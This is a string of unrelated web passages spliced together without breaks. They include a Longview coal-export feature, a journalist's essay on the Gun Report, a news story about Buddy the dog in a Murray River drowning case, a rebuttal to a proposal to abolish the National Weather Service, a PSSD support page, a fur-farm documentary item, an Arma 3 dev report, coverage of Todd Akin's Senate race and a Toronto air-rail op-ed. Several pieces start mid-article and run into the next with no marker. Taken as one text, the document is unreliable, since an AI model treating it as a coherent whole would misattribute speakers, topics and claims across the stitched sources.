In 1923, Long founded what he hoped would be a modern city for workers at his timber mill. It’s possible the mill was the largest in the world at that time.
Long commissioned a number of structures the community still uses today, including a public library and the Monticello Hotel. The industrial focus of the town began to shift during World War II. The site of the proposed Millennium Bulk Export terminal was turned into a coal-fired smelter to produce aluminium, a key component of Allied war planes.
Long’s statue still sits in the park downtown. A few feet away, Eric Gray, 37, played with his toddling son. Gray works as driver for a company that escorts railroad engineers to their assigned trains.
Gray made his support of the project clear, “I would really like to see it happen, I work for a company that services the train industry.”
“We pick-up conductors and engineers from wherever they stop and the people who I pick-up tell me that they put a coating on the coal so the dust doesn’t go everywhere,” Gray said. “It is more profitable to these companies to keep the dust contained. That’s the biggest complaint about the project but, people who are complaining about that are complaining about it from a position of ignorance.”
At a café within sight of the Monticello Hotel, city councilman Mike Wallin described the local economy, “A lot of people in the community are facing job loss and foreclosure on their homes. The area is really hungry for growth and we’re not in a position to get a Honda plant or a server farm.”
“Our strong point, what we are good at is shipping and receiving and we can take advantage of that,” he suggested.
The faded sign of the Monticello Hotel notwithstanding, the town of 37,000 people he insists is a great place to live. “With more money to fund new school teachers and new public workers, it could be even better,” Wallin said.
In Longview, disagreement with the plan can often focus on aesthetic issues. Steven Haine took a break from his jog around Longview’s Lake Sacajawea Park to offer his thoughts on the project.
“The new terminal will mean that the view of the Columbia River from a cemetery will be obstructed, now what kind of legacy is that?” he asked, to which a fellow runner gave his nod.
Nevertheless the majority of residents who spoke to TheDCNF during a visit to the town seem to be in favor of the project and the need to bring jobs to Longview.
A two hour drive north in Olympia, Wash., the Washington Farm Bureau’s short office building sits in a clearing.
CEO John Stuhlmiller, explained why Washington farmers support the Longview coal project. Stuhlmiller believes coal exports will further develop trans-pacific trading networks that will benefit farmers. He said the silos and facilities built for coal could easily expand to include agricultural exports. Rail improvements needed to support the coal trade will also help agriculture.
Making his pitch for the site, Stuhlmiller offered a big picture argument, “We are an export orientated state and we need to stay that way. This site has been handling coal since 1941, look if this site isn’t built the coal is going to be exported elsewhere. Maybe it will be exported from Canada or Mexico which would be a net loss of jobs to us here in Washington.”
“We want Asian economies to use American coal which is often higher quality and cleaner burning than the coal from other countries,” Stuhlmiller noted.
The Washington Farm Bureau is joined by the construction trade in its support for the project.
Lee Newgent, the executive secretary of the Washington State Building & Construction Trades Council speaks for many supporters of the site when he expresses frustration with the long approval process, “This is Washington’s longest ongoing project and it’s a record holder and it gets longer every day.”
“If you look at Canada, our competitor, it is an 18-month process to get environmental permits,” he said. “In Washington, we embrace the fact that you need to have an environmental impact assessment but, you shouldn’t be able to stall it out for infinity.”
Joe has a young child, and he was haunted by the fact that it could easily have been his own son in that classroom. We realized that we didn’t know who the majority of gun violence victims were, the people whose deaths didn’t make it onto a CNN broadcast.
Six weeks after Newtown, Joe wrote a column consisting of a few lines about shootings that had happened that week, presented without comment. He had a blog he wasn’t using, so starting the next day, I started writing at that blog by searching for America’s shooting victims.
The project began with just a couple of items unearthed during a Google news search, but after a few months I was searching ten pages deep — for “shooting,” “man shot,” “woman shot,” “child shot,” “teen shot” and “accidentally shot.” By the project’s end, the report featured 40 shootings a day. Of course, there were more, but I was only finding the ones reported in the news. This naturally limited my scope — most suicides aren’t reported at all.
Each post garnered hundreds of comments, ranging from the staunchest gun-rights advocates to the most earnest gun control defenders. I moderated them all, and made sure to include a wide range of opinion. Some of these commenters began addressing me by name, and they engaged in a lively debate with each other. A community was born, and a conversation was being had that I didn’t think existed anywhere else.
A few months in, I noticed how shootings spiked over the weekends, and I came up with a new format specifically for Friday through Sunday, in which I’d limit each shooting to a single detail-packed sentence instead of the three-line descriptions I employed during the week. I was inspired by Portraits of Grief, the post-9/11 victim profiles by the Times, which gave readers a clear picture of who these people were in remarkably few words. These single sentences resulted in paragraph after paragraph. I never expected people to read it all; I just wanted them to scroll through and see just how many shootings there were. I wanted them to get a sense of the carnage.
One person who was impressed by the sheer volume of mayhem was Sen. Dick Durbin, who read the Gun Report on the Senate floor. Twice. “The tally of shootings in America goes on to fill 19 paragraphs,” Durbin remarked in May 2013.
Summer was the worst. Holiday weekends were full of needless shootings — arguments, stray bullets, kids finding their parents’ guns. Compiling weekend reports took me 10 hours every Sunday. It was a slog, but it was necessary. This is exactly why I went to journalism school. It’s rare that you get to effect change on such a big stage. Even though the Gun Report was online, and appeared not in print but on a columnist’s personal blog, it got attention. No one else in the country was doing this, and the New York Review of Books and New York magazine took notice. Would this change public opinion or spark legislative change? Probably not. But perhaps it would elicit a conversation about guns between each mass shooting. That drumbeat needed to continue before and after the Adam Lanzas of the world did their damage.
I covered many shootings of and by children — kids under 10 shooting each other while playing with a gun; a man once left an AK-47 on a picnic table, only for his 6-year-old grandson to pick it up and kill him with it — but I am haunted by one shooting in particular that didn’t involve children at all. In January, Phillip Willet, 79, who was bedridden after being diagnosed with cancer, shot and killed his wife, 79-year-old Catherine Willet, and then shot himself. He lived; she did not. One of the victim’s sisters overheard the lead-up to the shooting, which took place in the couple’s bedroom.
The two were arguing, and Catherine Willet could be heard saying, “Don’t do that. Why are you doing this? I love you. Please Phil, I love you.” He then shot her in the head.
It took a lot to make me cry in regards to the Report — I was numb at this point — but after writing this one I had to put my head down and just let myself feel it. Much like the day I found myself reporting on a friend.
Ali Eskandarian, 35, was one of a group of musicians shot and killed by a disturbed former acquaintance in the Williamsburg section of Brooklyn in November. I sat down at my desk at work, ready to put the finishing touches on that day’s report, when I opened the homepage of the Times and read about the murder of three members of the Yellow Dogs, a rock band comprised mostly of expats from Tehran. Ali was the ex-boyfriend of a former Times colleague of mine, and I’d gone to several of his live shows. The couple had me over for a few smoky, scotch-soaked parties at their apartment in Greenwood Heights. Ali was vibrant, full of positive energy and love. And a couple of e-mails later, I confirmed that he was dead.
I wrote about him two days later. I was used to covering people I didn’t know; I was even moved by their plight. But this changed everything.
Around the time the report marked its first year of existence, I began to feel its tug on my psyche. Starting with a blank page every morning and filling with news analysis, art and the punishing list of gunshot victims felt like climbing a mountain. But I didn’t want to stop. I couldn’t. If I did, who would speak for these people? If my voice fell silent, I’d let down those whose stories would never see the light of day beyond their local paper.
My mother died four and a half years after my father succumbed to lung cancer, and as I was cleaning out her apartment I found his gun under their bed.
It was a .22 and it had a name: “The Plinker,” which was etched into its Bakelite handle. It was my parents’ security gun, the one weapon they kept around the house just in case. In my youth I’d never found it, and I was an only child who rifled through every closet and drawer. My father kept it hidden and unloaded. But I was glad he had it.
Five years earlier, days before I moved out of my parents’ apartment, a man followed me home from the bus stop. He drove slowly alongside me and tried to engage me as I trudged the long block home. I don’t remember what he said, trying my best to ignore him, but when I told my parents, they knew just what to do. The next day they met me at the stop, and stuck in the waistband of my mother’s sweatpants was my father’s gun. It was not the most secure place (as Plaxico Burress learned), but she made it clear that she was ready to defend her daughter from anyone who might snatch her off the street.
This is why it’s impossible for me to be a gun control absolutist. I am a single woman living in New York City, and if someone breaks into my apartment while I am home, I am going to want a gun to defend myself. It’s the quickest way to stop someone. A knife involves approaching an assailant and it can be grabbed out of my hand. But I can fire a gun across a room and preclude a lifetime of psychological damage, or worse, in an instant.
Why wasn’t the gun in the waistband of my father’s jeans that night? Because he was an ex-convict, and if he was caught with a gun in zero-tolerance New York, he’d likely be sent back to prison. He’d already broken his parole once, right after I was born, and he was so afraid of going back to Sing Sing that he took my mother and me across the country, where we lived under fake names. When I was five, the FBI found us, and when my father returned home a year later, we could be ourselves again. I grew up knowing that my father had been in prison, but I had no idea why.
A few months before my parents met me at that bus stop, I’d found his criminal record on the Internet. Turns out he’d been in prison for 12 years before I was born, for murder. Gun murder. He shot a criminal informant several times in a park in Brooklyn in 1963. Right before my mother died, she confessed that he’d committed several gun murders he’d never been arrested for. In 2010, I wrote a book about how I found out I was the daughter of a mob enforcer, Never Tell Our Business to Strangers.
It wasn’t until I had been doing the Gun Report for several months that it sunk in that the daughter of a man who had taken lives with guns was given an opportunity to report on gun violence. Perhaps it was my penance. I could atone for the lives my father took. Joe didn’t even know of my family history when I took this on. One day I explained it to him, and he understood that this was a labor of love.
Before starting work on Gun Report, I had my own ideas about gun violence: Most of it probably resulted from gang activity, I assumed, along with the marital domestic shootings we so often read about.
More than 350 posts and 40,000 deaths later, here is what I learned.
Gang shootings are prevalent, especially in former hubs of industry now in economic decline in Ohio; the Flint/Tri-Cities region of Michigan; in Indianapolis and Fort Wayne, Indiana; Newport News, Va.; and Milwaukee, Wisconsin. Carjackings and home invasions often appeared in my Google news searches. I was surprised to learn that suburbs were a magnet for gun violence, perhaps mirroring the housing implosion, which decimated the suburbs and propelled people to cities, where there are always jobs.
Not that nation’s largest cities are exempt: Miami, Chicago, St. Louis, Detroit, Newark, New Orleans, Philadelphia, and Dallas are notable examples. (Less so New York, possibly because of the NYPD’s stop-and-frisk policy, which was ruled unconstitutional.) Drive-by shootings still plague northern and southern California; Los Angeles, Fresno and the entire east side of the state are rife with gang activity. Tennessee, Alabama, and Missouri also frequently popped up in this regard.
What was also notable was where the shootings aren’t: Maine, Hawaii, Vermont, Wyoming, Montana, and New Hampshire were rarely mentioned in the report. Why? Weapons don’t easily flow into Hawaii, surrounded by the Pacific, and Montana and Wyoming are sparsely populated, mostly by experienced, rural gun owners. But homeowners in these states are also armed against home invaders, and as we saw in Montana in May, tragedy can result.
But while half of the shootings I featured were the result of a crime, the other half, I was most surprised to learn, resulted from arguments — often fueled by alcohol — among friends, neighbors, family members and romantic partners. More and more, people are solving their differences not with their fists but with guns. Husbands and wives are shooting each other, as are sisters and brothers. In many homes across America, loaded guns are easily accessible, and children find them, accidentally shooting themselves or each other. One hundred children died in unintentional shootings in the year after Newtown, which breaks down to two every week.
A year and a half later, you might expect that I’d have a solution to the country’s scourge of gun violence. But there is no one answer. It’s a favorite talking point of the right, but it’s true: Criminals will always find a way to get guns. But a lot of the people I covered weren’t criminals until the bullet left the chamber. How do you prevent a law-abiding person from obtaining a gun when he or she hasn’t done anything illegal yet?
Perhaps we can solve the problem in pieces. We’re vetted in so many areas of society — for instance, we need several points of ID for driver’s licenses, plus a written test and behind-the-wheel driver’s ed; just try to get an apartment in New York City without a credit check, and employer, bank references, and a guarantor. I think we need more vetting to get a firearm.
In Iowa, it’s easier to sell a gun than lemonade. In Arkansas, it takes less time to buy a gun than to qualify for food stamps. In Arizona, you need a permit to cut hair, but not to carry a concealed weapon. In Florida you’re fingerprinted to be a substitute teacher, but not to buy or carry a gun. It’s easier to buy an assault weapon than it is to vote.
But in order to obtain a firearm in Japan, which has half the population of America and averages about four gun murders per year, you must fill out binders full of paperwork, listen to 20 hours of lectures, take a written test and a shooting class, pass a criminal background check, subject yourself to a physical and psychological exam, submit to half a dozen police interviews, and police interviews of your friends and family, as well. You are asked to produce a floor map of your home and indicate where a firearm will be stored, as well as photos of the locks on your gun safe. Approval usually takes a year. You need to jump through such extreme hoops to own guns — and can get arrested just for firing one — that the Yakuza, the mob in Japan, prefers not to use them.
In Canada, where the right to private gun ownership is not guaranteed by law, third-party character references are required to get a gun, and licensing authorities conduct interviews with an applicant’s spouse, partner, or next of kin before issuing a license. You must pass a firearm safety and law class, and a practical training course is required — much like driver’s ed. Gun owners must re-apply and re-qualify for their firearm license every 5 years — much like a driver’s license. But all this vetting doesn’t inhibit gun ownership: Canadians can own an unlimited amount of weapons and ammunition, and they don’t need to provide a reason for acquiring a gun.
After the Port Arthur massacre in Australia in 1996, legislation was enacted to tighten gun laws. Semi-automatic rifles and pump-action shotguns were banned, and you have to provide a reason to obtain all other firearms. The government held a gun buyback, netting 650,000 of newly illegal weapons from existing owners. Sure, some politicians lost their jobs by enacting gun control, but the laws stand, and there hasn’t been a mass shooting there since. Some estimate that the buyback has prevented 200 deaths a year. And perhaps most importantly, gun suicides declined. In America, 60 percent of adult firearm deaths are a result of suicide.
These are strictures that Second Amendment absolutists would balk at, but I don’t think the pro-gun crowd honestly wants a crazy person to get hold of guns. Even Antonin Scalia, the strict constuctionist Supreme Court judge, believes that there are limits on gun ownership.
“Like most rights, the Second Amendment right is not unlimited,” he wrote in District of Columbia v. Heller. “It is not a right to keep and carry any weapon whatsoever in any manner whatsoever and for whatever purpose.”
Universal background checks are something most Americans already support. Ensuring that gun checks are cross-referenced with mental health records in every state is a must. When Second Amendment advocates say we should enforce the laws already in place, they’re right. Montana and South Dakota submitted only three mental health records to the National Instant Criminal Background Check System in 2012. North Dakota and Massachusetts turned in one, and Rhode Island submitted none.
Smart guns that only activate for their owner would reduce the chance that a child or an intruder could discharge them. Armatix, a German company, offers a gun that operates only when the owner is wearing a corresponding wristwatch. But the National Rifle Association has vigorously opposed such technology, and the two vendors who tried to market smart guns in America were harassed and received death threats from Second Amendment extremists, so they pulled the guns from their shelves.
A favorite argument of the gun-rights crowd is that nothing stops a bad guy with a gun more effectively than a good guy with a gun. I have come to believe that people who think they are going to shoot the bad guys — which sometimes does happen — are influenced by movies. Often their own guns are grabbed by the bad guys and used against them, especially during home invasions. In my daily reports, I made sure to include police officers accidentally shooting themselves and each other. If highly trained people have accidents, how can civilians be expected to be perfect marksmen during a high-stress robbery?
Maybe a solution to gun violence is one that Chris Rock cheekily proposed during a stand-up routine 15 years ago: bullet control. But it’s not such a bad idea. In 1993, New York Senator Daniel Patrick Moynihan floated the idea of an ammunition tax. In California last year, a nickel-per-bullet tax was briefly considered, and in New Jersey, lawmakers sought to slap an additional 5 percent sales tax on guns and ammo. Both bills appear to be dead.
Efforts to curb gun violence by elected officials has done little to mitigate the damage. The NY SAFE Act, written in response to the Newtown massacre, instituted background checks for ammunition purchases, required that assault weapons be registered and broadened the definition of “assault weapon.” But gunmakers are modifying AR-15 and AR-10 rifles to circumvent the new regulations, and they are just as deadly.
In fact, when it comes to gun control, many state politicians are moving in the opposite direction: Kansas and Missouri have passed bills that nullify local and federal gun laws in favor of more relaxed state laws.
Efforts to research the problem were hamstrung in 1996, when the NRA successfully lobbied the federal government to freeze funding for CDC research into gun violence. After Newtown, President Obama issued an executive action that replenished the funding, and though it is meager, we should see some results soon. In the meantime, legislators are starting to fill in the gaps, Congresswomen Robin Kelly, who represents part of Chicago, recently released her own report on gun violence.
With more than 300 million guns already in circulation in America, and the right to carry a concealed weapon now legal in every state, it will be impossible to wipe out gun violence completely. But we can certainly reduce some deaths, and that is better than nothing. Let’s not let the perfect be the enemy of the good.
A few days after the plug was pulled on the Gun Report in early June, there were school shootings in Portland and Seattle, and two officers in Las Vegas, along with another man, were shot and killed by anti-government extremists who then committed suicide. To be silenced while all this was going on was excruciating. I burned at not being able to cover it.
NSW police officers said they do not intend to put down the dog named Buddy after finding he 'was acting in reasonable defence of the nine year old boy' who is now in hospital.
Buddy was detained by Murray River Council rangers on Thursday and was still in their custody, authorities said on Monday afternoon.
A petition was launched to save a pitbull named Buddy (pictured) who dragged a nine-year-old boy out of the Murray River after his mother allegedly tried to drown him
Buddy is believed to have intervened when a 27-year-old woman allegedly tried to drown her sons, aged nine and five, near Moama (pictured) on Thursday
The mum (pictured during her arrest) has been charged with murder and attempted murder
'Since the incident, we have micro chipped the dog and are working with the dog’s owner to register the dog and set up the appropriate conditions to enable the dog to return home,' Margot Stork, interim general manager for the council, said in a press release.
Buddy is believed to have intervened when a 27-year-old woman allegedly tried to drown her sons, aged nine and five, in the Murray River at Moama, on New South Wales-Victoria border, on Thursday.
A young boy's body, believed to be the five-year-old, was found in the river on Saturday and the nine-year-old is being treated for dog bites at the Royal Children's Hospital.
Their mother, who cannot be named for legal reasons, has been charged with murder and attempted murder.
NSW police officers said they do not intend to put down Buddy after finding he 'was acting in reasonable defence of the nine year old boy' who is now in hospital (pictured)
Emergency crews carry the body of a five-year-old boy out of the Murray River on Saturday
MURRAY RIVER CITY COUNCIL STATEMENT The events of last Thursday, where a five year old boy lost his life, a nine year old was hospitalised is a tragedy in every sense of the word. Our heartfelt condolences go out to the family, as well as the first responders who attended the scene. In response to the community members that have expressed their concerns about the welfare of a dog involved in the incident, council can confirm that the dog was seized by council Rangers on Thursday at the request of the NSW Police. The dog is well and presently being cared for in a Murray River Council facility. The NSW Police have since advised us that their investigations to date have deemed that the dog in question was responding to extreme circumstances and it is likely that the dog was acting in reasonable defence of the nine year old boy that was subsequently hospitalised. The NSW Police have advised council that they will not be seeking an order to destroy this animal. Since the incident, we have micro chipped the dog and are working with the dog’s owner to register the dog and set up the appropriate conditions to enable the dog to return home. The owner has visited the dog at council’s facility and is working with us to ensure compliance with all obligations under the Companion Animals Act. Our Rangers are passionate about animal welfare and we will always work with residents to ensure their pets are registered, micro-chipped, and provide any advice or assistance to help pet owners understand their rights and responsibilities under the Companion Animals Act.
Buddy's owners created a GoPetition last week after he was seized, according to the Riverine Herald.
'Buddy the dog has reacted and attempted to save the boys in doing so he has bit the eldest boy in his rescue attempts, unfortunately, he was unable to save the youngest boy and has also bit the mother,' the dog's owners wrote on the petition, which has garnered more than 45,000 signatures.
'Buddy is a member of our family and has grown up around children his whole life and has been the most gentlest dog, he has clearly seen a child in distress and attempted to help.'
The maternal grandfather of the two young boys has come out in support of the petition.
'I own a similar dog and I know he was trying to save the boys, it's their nature when they are raised with kids,' he told The Courier-Mail.
'Let the ones who his actions affected decide. I have one grandson left, because this brave dog took action as required.'
The father of the boys was the subject of backlash over the weekend after he started a GoFundMe account requesting money for him to fly from Queensland and see the children.
The Brisbane man said all money raised from the charity page would 'go toward getting me to my older son' and all remaining funds would go to 'burying my little boy'.
The father revealed on Facebook on Friday he never met the five-year-old and had not seen the nine-year-old boy for a number of years.
He arrived in Melbourne on Sunday to see his eldest child, according to the Daily Telegraph.
While Hurricane Irene hit the East Coast, an op-ed at FoxNews.com advocated for eliminating the National Weather Service, a government agency that provides weather data and forecasts for public and private use. In the piece, the Competitive Enterprise Institute's Iain Murray and David Bier laughably complain that the National Weather Service "hijacks local radio and television stations" to "force" potentially lifesaving weather warnings on the public, and claim the NWS "may actually be dangerous." To support this claim, CEI suggests the NWS did a poor job predicting Hurricane Katrina. In fact, two days before the hurricane hit New Orleans, the NWS reportedly predicted the hurricane's strength with "unusual" accuracy, and the director of NWS's National Hurricane Center personally warned the Mayor of New Orleans and the governors of Mississippi and Louisiana. Republican Senator Jim DeMint praised the NWS for their early and accurate forecast, saying it "saved countless lives along the Gulf Coast."
CEI also links to an article which undermines the argument that NWS should be eliminated because some private sector firms have more accurate precipitation and temperature predictions. The article states that the NWS shifted its focus from day-to-day predictions to weather forecasts with "public safety" implications like "catastrophic storms." As a result, the NWS has improved its "lead time" and accuracy in predicting tornadoes and hurricanes.
Washington Monthly's Steve Benen also points out that private outlets "rely on information they receive from the National Weather Service."
And Scientific American noted in a 2000 article that the private sector would struggle to provide some of the services covered by the NWS, including these severe-weather warnings:
The idea of getting rid of the NWS starts to break down when Myers talks about taking over the government's data-gathering responsibilities. Devleoping and launching weather satellites (now a duty of the National Aeronautics and Space Administration) costs hundreds of millions a year; the upgrades of NWS radar and computers in the 1980s and 1990s required an investment of billions. No private company could bear the burden of these expenses.
Scientific American also noted the role NWS plays in "incubating the basic science" that drives meteorologists' predictions. Severe-weather warnings pose the biggest challenge to those who advocate taking over NWS responsibilities. Even the most diehard advocates of privatization often acknowledge that there is a legitimate place for the government in making these warnings. It's not that private firms can't issue hurricane warnings, given proper resources, but any company that mistakenly puts out a warning might face huge litigation exposure. Every mile of coastline evacuated erroneously costs coastal economies close to $1 million.
Even some on the right found the CEI op-ed risible. Writing on a blog that promoted "climategate," meteorologist Dr. Ryan Maue argued that the infrastructure and coordination that the NWS provides is irreplaceable:
NOAA, the NWS, and the National Hurricane Center have coordinated for decades with universities and other government labs to develop the best possible data assimilation and mathematical modeling techniques. The national research and operations infrastructure developed, maintained, and advanced using government funding is truly something to be prideful about in America. Suggesting that insurance companies or other private entities would have come up with this sort of infrastructure is fantastical and exhibits ignorance of the military-scale coordination necessary for the entire system to work.
Welcome
Post SSRI Sexual Dysfunction (PSSD) is an under-researched condition involving the persistence of sexual side effects of SSRIs that continue after the discontinuation of the medicine for months, years, or even indefinitely. The conventional wisdom (held by the public at large and promoted by the conventions of psychiatry) is that any SSRI-related sexual dysfunction will stop after you have discontinued the medication. This site is dedicated to those who suspect they may face the lingering sexual side effects of SSRI medication.
PSSD is overwhelming at first, and you likely have a large number of questions. There is plenty of knowledge about PSSD on the internet, but it’s scattered across many sites and much of it is stored on message boards dating back to the early 2000’s.
Since the fall of 2014, I’ve been collecting research, links, and stories from around the web, and have slowly been compiling them so that a new PSSD sufferer could become educated in all aspects of PSSD knowledge and activism within a matter of weeks instead of the 2.5 years that it’s taken me to collect it.
The information on this page will be organized into the following categories:
[1] Welcome
[2] Scientific Evidence
[3] Support Communities
Section 2
Scientific Evidence
One of the first problems that people with PSSD recognize is that few people within the scientific and medical community believe that their symptoms are real. Communicating effectively with practitioners and scientists requires patience, organization, and evidence.
A quick argument for Why PSSD Exists can help you get you caught up on prominent scientific articles that support the existence of PSSD, as well as testimonies from doctors and scientists from around the world.
Dr. David Healy writes more about PSSD on his website rxisk.org.
I’ve written my own basic PSSD Theory from the research that I’ve done in the past 4 years, and more recently created a 30 minute video that introduces my theory of 5-HT1A auto-receptor desensitization.
I’m working on new research and this site is a place where I hope to collaborate with others both inside the scientific community, and with sufferers of PSSD.
I’ve thrown together a list of What’s Been Tried, and a list of Possible Treatments. Please remember that these are not professional or medical suggestions, but simply a list of personal testimonies that I’ve collected from the internet.
Section 3
Support Communities
PSSD is scary, and especially so at the beginning when you lack a support system. I’ve written a post that that I hope helps sufferers as they struggle to wrap their minds around PSSD. I’ve tried to make it optimistic for the future, but also honest about the realities of PSSD.
I’m the moderator of the PSSD Subreddit, and an admin at the PSSD Forum. Both of these sites are great ways to meet other sufferers to discuss your story and what you’ve tried.
I hope that the resources above are helpful. If you have any questions or comments about anything PSSD, I can be contacted by email at ghostpssd@gmail.com.
Section 4
Diagnostics
If you think you have PSSD, you might want to be sure first. Check out the diagnostics page.
Best,
Ghost
Even in this day and age, more than 110 million animals across the world are killed each year for their fur, according to an animal charity group, Animal Defenders International (ADI). This includes over 15 million foxes killed for fur coats, trinkets and accessories each year.
Using hidden cameras placed in a fur farm in Poland, the fourth largest producer of fox fur in the world, ADI documented the short, brutal lives of three arctic foxes, whom they named Borys, Eryk and Aleska.
The result is the disturbing documentary (above), titled A Lifetime. It follows the lives of the foxes right from their birth on the farm, when their mother still nursed the cubs, and as they grow and take their first steps. Their mother is removed after a few weeks, but the cubs continue to explore their world – a small wire cage – and play together.
The lives of the two brothers is short-lived. They are less than seven months old when they are dragged from their cage and, in spite of desperate attempts to run away, hung by their leg and electrocuted in front of Aleska, their sister. Aleska’s life is spared, for she will breed next year’s foxes.
The charity poignantly states, “This is the real cost of fur – when you buy fur, you buy cruelty.”
ADI’s findings, detailed comprehensively in this report, reveal “a cruel industry, built on an image of beauty and luxury, desperately hiding the suffering of sensitive, intelligent animals being farmed in filthy, intensive factory conditions or trapped for their fur.”
TO: Arma 3 Users
INFO: 1.58 Release Week, Campaign Unification, Action Filtering, Eden Editor Updates, Targeting Improvements
PRECEDENCE: Flash
SITUATION
This week we want to finally release 1.58 to every player. Besides several fixes, the last addition we sought to get in was merged on Friday (action filtering for weapon switching). That gives us all a day or two of further Release Candidate testing. Take a look at the pseudo change log on our forums for the highlights of this update. If you're aware of critical issues remaining in the build, alert us via the forums please. Catch you on the flip side!
INTELLIGENCE
We're planning a fairly drastic The East Wind campaign change in the 1.60 update. For Arma 3's 1.0 release we decided that we needed to split up the campaign into 3 episodes (not counting the Bootcamp Prologue). This also meant that technically these episodes were released as 3 separate campaigns. It's our desire to now finally merge these into 1 campaign for presentation purposes. For anyone new jumping into the game, this would offer a more streamlined and logical experience. There is however one very important caveat to be aware of: existing campaign saves will not work after this! That would mean you have from now until 1.60's release (and technically one more update after that given the Legacy Build) to finish your current session. Re-playing the campaign after 1.60 will be well worth it, with things like the Tasks Overhaul and Visual Upgrade, but also to refresh your recollection of events for Apex.
The expansion will come with its own 1-4 player co-operative multiplayer campaign, with ties to The East Wind. The Playable Content team actually hit our MOCAP studio recently to record special animations for various scenes in that campaign.
On this week's dev photo you'll see our proud envoy to last weekend's Game Access 2016 summit in Czechia (< don't blame us). We had quite a few devs in attendance to support sessions by their fellow team members, as well as to listen to other great developers in the Czech industry. The presentations were recorded, so we'll report back once they are online.
Releasing in unison, both the Community Upgrade Project and ALiVE have dropped major new versions of their mods after we last published a report. On their new website and our forums, you can see more Intel on the vast library of assets now available via CUP.
ALiVE describes their 1.0.3 update as focusing on fixes, map indexing and full War Room integration with ACE. Congratulations to all modders involved with these awesome improvements.
OPERATIONS
Wrapping up the weapon switching package for 1.58, we've added tech to filter action menu entries which are bound to a control. This was configured for weapon switching actions only for now, but we may extend it later. Especially when combined with the Arma 3 Apex controls preset (which maps switching weapons to the number keys), this goes a long way to de-clutter the action menu. It should reduce the frequently complained about situation of trying to open a door under fire, but slowly switching to your launcher instead ... and dying. Let our Research & Development designers know what you think on our forums!
More usability enhancements coming from R&D and Sandbox are coordinated by Designer Ondřej Kužel and his direct line to our programmers. They have worked on improvements of various targeting systems (planned for 1.60). This encompasses a list of changes in the categories commanding, crew communications and weapon systems. You're best of reading through the great write-up by Ondřej himself.
One specific addition is a virtual camera pod on fixed-wing aircraft. It should help pilots to coordinate their Air-to-Ground attacks more precisely by enhancing their restricted view from the cockpit.
Then there is a very exciting bundle of new features for the Eden Editor (after 1.58). Its development team continues to process their own wishlist as well as community feedback with excitement. Designers will now find a new entity type: Comment. This is a very useful tool to leave yourself notes and reminders in 3D space. You may wish to build a detailed F.O.B. somewhere later, and just place a reminder in the editing scene for now e.g. Comments have an always visible title and a tooltip with more details. Another useful tool is the ability to create and scale area entities, such as Triggers and Markers.
Looking ahead to Tanoa jungle editing, designers may now toggle the visibility of foliage on vegetation. It's also possible to preview the changes of environment attributes like time of day and overcast in real-time with this update.
We've reached the cherry on the cake: asset preview images. While we're still generating these for all vanilla assets, you now see an image preview of the asset you're hovering over in the Asset Browser. We are also preparing a pipeline that automatically generates those for mod assets, although it's not currently functional yet.
With so many things being staged to Dev-Branch and seeking your feedback, it can be hard to know where to post. Associate Producer Vojtěch Kovařič to the rescue! He's shared an overview of active feedback topics on the Arma subreddit. If there's something that doesn't have its own thread, feel free to share your thoughts in the general discussion thread.
LOGISTICS
Technical Designer David Sláma reports on cool new animation source tech for weapon animations, implemented by Senior Programmer BXBX. As the documentation describes, modders may now use numerical identifiers for sources associated with muzzles other than the primary one. This tech should offer more flexibility and allow weapons to be more effeciently animated. It should even be fully backward compatible!
His claim—a pseudo-scientific fiction that has long been advanced by some pro-life activists who want to outlaw abortion for rape victims—was denounced by the Republican establishment. Senate leaders and the party’s presidential nominee, Mitt Romney, urged Mr Akin to abandon his Senate bid: a step he was resisting as The Economist went to press, despite warnings that he would be starved of funding and assistance. But damage had already been done, on several fronts.
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Republicans need to take four seats to control the Senate, and Missouri was near the top of their target list. Mr Akin was never the choice of Republican bosses for this vital task. Unusually, he won his fiercely contested primary for the Senate seat with help from the state’s incumbent Democratic senator, Claire McCaskill, who ran television advertisements calculated to boost Mr Akin among local conservatives, in what appeared to be a pick-your-own opponent gambit. The first opinion poll after the controversy showed Mr Akin’s 11-point lead over Ms McCaskill all but vanishing.
The reverberations will be felt beyond Missouri. Mr Akin (who says that he “misspoke” but that his critics are overreacting) used extreme language. But his general hostility to abortion even in cases of rape and incest is shared by many Republicans in Congress. As Obama campaign aides were quick to point out, that includes the vice-presidential candidate, Paul Ryan, who last year co-sponsored a bill in the House of Representatives seeking unsuccessfully to tighten rules so that federally funded abortions would be available only for victims of what was termed “forcible rape”.
More broadly still, Mr Akin’s defiance is a further testament to the insurgent mood sweeping the modern Republican Party, leaving party leaders struggling to control their own foot soldiers. Though Mr Romney says that, as president, he would support abortion in cases of rape or incest, his party’s platform at the Republican National Convention, to be held in Tampa from August 27th-30th, will uphold a strict pro-life policy countenancing no such exceptions.
When the air-rail link was originally proposed, there was a call for it to operate as a public transit line with at least 10 stops in the communities along the way. However, instead of coming forward with a plan to fulfill this need, the province instead proposed an air-rail link which, at this time, would stop at only two stations — one in Weston and one at Bloor.
Even the plans for the Bloor stop no longer include integration with the Dundas West subway station for ease of transfer between lines. The air-rail link in its current form does not integrate with other major transit expansion projects in the city, and does not integrate with the new Eglinton light rail transit line.
It is well known that the air-rail link as currently planned, with only two stops along the way, will not fulfill the need for rapid transit to the airport — this is an unfortunate missed opportunity. The Union-to-Pearson rail corridor offers the potential for an above-ground electric subway-style service for the west end.
There is no reason why stops should not be added along it to see this line fulfill the need for rapid transit to the airport. Communities across Toronto have called for additional stops at Humber, Woodbine, Etobicoke North, Jane Street, Eglinton Avenue West, Carleton Village, the Junction and Liberty Village.
We need this line to not only help people get to and from the airport for travel, but also for work. There are 355,000 jobs in the Pearson airport eco-business zone which overlaps three regional municipalities. Toronto workers would no longer have to spend hours commuting to the corner of the city by bus or packed on the highway.
As the Clean Train festival on April 28 will undoubtedly show, the call for electrification of the line has not stopped. Toronto City Council, the medical officer of health and thousands across Toronto have repeatedly requested the electrification of the line. Frequent dirty diesel trains running through our neighbourhoods are not healthy and not necessary.
Instead of running diesel trains for a business class premium fare express service between Union Station and the airport, we should maximize the impact of the provincial investment in the air-rail link. The line currently proposed is to operate at full cost recovery, which means trip costs will not only exceed TTC fares but even current GO Transit fares. We must build the air-rail link from the start as a healthy, affordable and sustainable electric transit line that stops in our neighbourhoods so Toronto can use it.
At city council this week, we will be voting on the addition of stops, electrification and ensuring the air-rail link provides affordable public transit to the airport. We ask that the province continue to respect the will of Toronto City Council on these matters.
Additional stops, electrification and affordable trip costs will ensure the air-rail link serves our communities across the west end of the city. Torontonians are in agreement on the air-rail link. Now, we need the province to come on board.
